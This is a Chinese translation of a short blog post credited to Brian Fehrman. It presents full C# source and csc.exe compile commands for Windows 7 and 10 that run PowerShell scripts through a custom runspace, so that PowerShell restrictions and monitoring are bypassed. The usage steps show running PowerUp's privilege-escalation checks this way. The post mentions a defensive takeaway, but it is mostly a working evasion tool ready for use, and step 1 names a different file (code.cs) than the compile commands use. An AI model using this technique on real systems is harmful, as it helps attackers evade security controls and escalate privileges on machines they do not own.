绕过PowerShell限制的简化方案

本文介绍了一种简单的方法来绕过PowerShell使用限制和监控,通过编译C#代码执行PowerShell脚本,适用于受限制环境下的脚本运行需求。

PowerShell w/o PowerShell 简化版

作者:Brian Fehrman

在之前的文章《PowerShell without PowerShell》中,我们展示了如何绕过应用白名单软件(AWS)、PowerShell限制/监控以及命令提示符限制。某些情况下,您可能只需要绕过PowerShell限制和/或监控。本文为这种场景提供了一个简单的解决方案。该方法并非首创,但本文尝试以简明直接的方式呈现。

代码(prog.cs)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//用法:prog.exe "powershell脚本路径"
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

public class Program
{
    public static void Main(string[] args)
    {
        Mycode.Exec(args[0]);
    }
}

public class Mycode
{
    public static void Exec(string file)
    {
        string command = System.IO.File.ReadAllText(file);
        RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
        Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
        rspace.Open();
        Pipeline pipeline = rspace.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
    }
}

编译方法

Windows 7 x64

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 7 x86

1
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 10 x64

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 10 x86

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

使用方法

  1. 创建文件C:\Users\Public\code.cs,将上述代码复制到该文件中

  2. 打开Windows命令提示符,根据您的操作系统复制粘贴对应的编译命令

  3. 在要运行的PowerShell脚本底部添加您通常用于运行脚本的函数调用。例如,如果要运行PowerUp.ps1中的Invoke-AllChecks,通常这样写:

    1
    
    Invoke-AllChecks -Verbose | Out-File C:\Users\Public\allchecks.txt
    

    使用本程序时,您需要将此命令复制并粘贴到PowerUp.ps1文件的底部

  4. 从Windows命令提示符运行以下命令:

    1
    
    C:\Users\Public\prog.exe C:\Users\Public\PowerUp.ps1
    

    注意将C:\Users\Public\PowerUp.ps1替换为您要运行的PowerShell脚本名称

结论

这篇简短(希望也简单)的文章提供了一个快速解决方案,用于在PowerShell使用受限和/或被监控的环境中执行PowerShell脚本。这种方法为企业应考虑在其环境中实施更严格的AWS策略提供了额外理由。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计